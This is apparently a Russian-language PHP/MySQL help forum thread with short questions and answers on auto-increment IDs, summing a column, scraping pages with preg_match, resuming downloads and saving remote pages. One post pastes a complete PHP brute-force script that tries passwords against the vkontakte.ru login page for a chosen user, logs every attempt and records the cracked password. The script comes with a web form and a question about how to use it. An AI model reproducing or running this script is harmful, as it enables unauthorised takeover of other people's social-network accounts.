А как сделать чтобы в mysql присвоение индентификатора начиналось не с нуля а с единицы. У меня щас 0
PHP: $r = mysq_fetch_array($result, MYSQL_ASSOC); //$r = mysql_fetch_assoc($result); print_r($r); увидишь, что так - гораздо удобнее.
Мля, теперь я допереть не могу =\ В mysql есть некое поле, которое содержит цифры как положительные так и отрицательные. Как посчитать сумму этих чисел?
перехватывать заголовки контент рейндж.. и уже брать файл с удаленого сервера с ними... тут чисто описание протокола http тебе надо
проблемка....ниразу не грбил страницы...каким образом их грабят? мне нужно со странички вырывать определенную инфу если она есть, ну и потом уже забиват себе в базу и выводить, спасиб
На пыхе(php) есть пару функций. preg_match(); preg_match_all(); Документация: preg_match(); preg_match_all(); Неплохая статья по регуляркам. http://pyha.ru/forum/topic/19.0
как вариант прочитать файл с помощью file_get_contents() , записать к себе и выдавать потом ссылку уже на локальный файл
1. С заголовка получаешь текушую позицию (хз какие поля, щяс времени нет проверят, чишу логи) 2. Соеденяешься с серваком через fopen() 3. Начинаешь читать в цыкле, начиная с той позиции, где остановилось через fread()
пример здесь (не мой =) ) http://protoplex.ru/scripts/22.zip жаль, они бросили свою cms (( статья кратенькая о парсинге http://mikhail.voronkov.biz/articles/distributed_httpgrubber.html и вот еще.. во мнигих cms выпустили модули парсинга чужих новостей..для wordpress, slaed,joomla, dle где-то открыт код, где-то нет- смотрите как примеры
Кто подскажет правильный синтаксис функции escapeshellcmd( ) или может есть новей против выполнения команд подрывающих безопасность?
Народ подскажите, вот наткнулся на такой скрипт. Как ним пользоваться? <? // Открывает страничку с полем для ввода сообщений function produceQuery($url, $post, $username = false, $passowrd = false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt ($ch, CURLOPT_COOKIEJAR, "cv.txt"); curl_setopt($ch, CURLOPT_COOKIEFILE,"cv.txt"); curl_setopt($ch, CURLOPT_POST, 1); // set POST method // Здесь как раз перечисляются передаваемые параметры curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $html = curl_exec($ch); curl_close($ch); // Вернуть результат return $html; } function checkPass($username, $password) { $post = "email=$username&pass=$password&submit=$submit&fail_url=$fail_url&success_url=$success_url&try_to_login=1"; $answer = produceQuery("http://vkontakte.ru/login.php", $post); $answer = iconv("UTF-8", "Windows-1251", $answer); if(preg_match("/Моя Страница/", $answer, $out)) { echo true; } else { return false; } } if(isset($_REQUEST['submit'])) { // Открываем файл, в который будем записывать обработанные пароли $file = fopen("pass.txt", "w"); // Алфавит взлома $skey = " 1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDF GHJKLZXCVBNM"; $length = strlen($skey); $length--; // Логин пользователя: предположительно известен $username = $_REQUEST['login']; //$username = ""; // Предполагаемый Пароль $password = ""; // Подбираем пароль: максимум из 10 знаков for ($i1 = 1; $i1 <= $length; $i1++) { for ($i2 = 1; $i2 <= $length; $i2++) { for ($i3 = 1; $i3 <= $length; $i3++) { for ($i4 = 1; $i4 <= $length; $i4++) { for ($i5 = 1; $i5 <= $length; $i5++) { for ($i6 = 1; $i6 <= $length; $i6++) { $password = $skey[$i6] . $skey[$i5] . $skey[$i4] . $skey[$i3] . $skey[$i2] . $skey[$i1]; $password = trim($password); if(checkPass($username, $password)) { // пароль найтиен! fwrite($file, $password . " PASSWORD CRACKED!!!" . "\n"); fclose($file); exit; } else { // Пароль не подошел, просто записать его в файл fwrite($file, $password . "\n"); } } } } } } } } ?> <h2>Взлом пароля в vkontakte.ru</h2> <form action="" method="POST"> Логин пользователя <input type="text" name="login" style="width: 200px;"> <input type="submit" name="submit" value="Отодрать"> </form>
Как по средствам php сохранить страницу на сервер? Вот эту к примеру - http://old.antichat.ru/txt/old/mail.shtml Без картинок, без всего, только сам код.
PHP: $page = file_get_contents('ссылка'); //забираем страницу с удалённого сервера $f = fopen('page.txt', "a+"); fwrite($f, $page); // записываем её в файл fclose($f); после запуска скрипта смотри код своей страницы в файле page.txt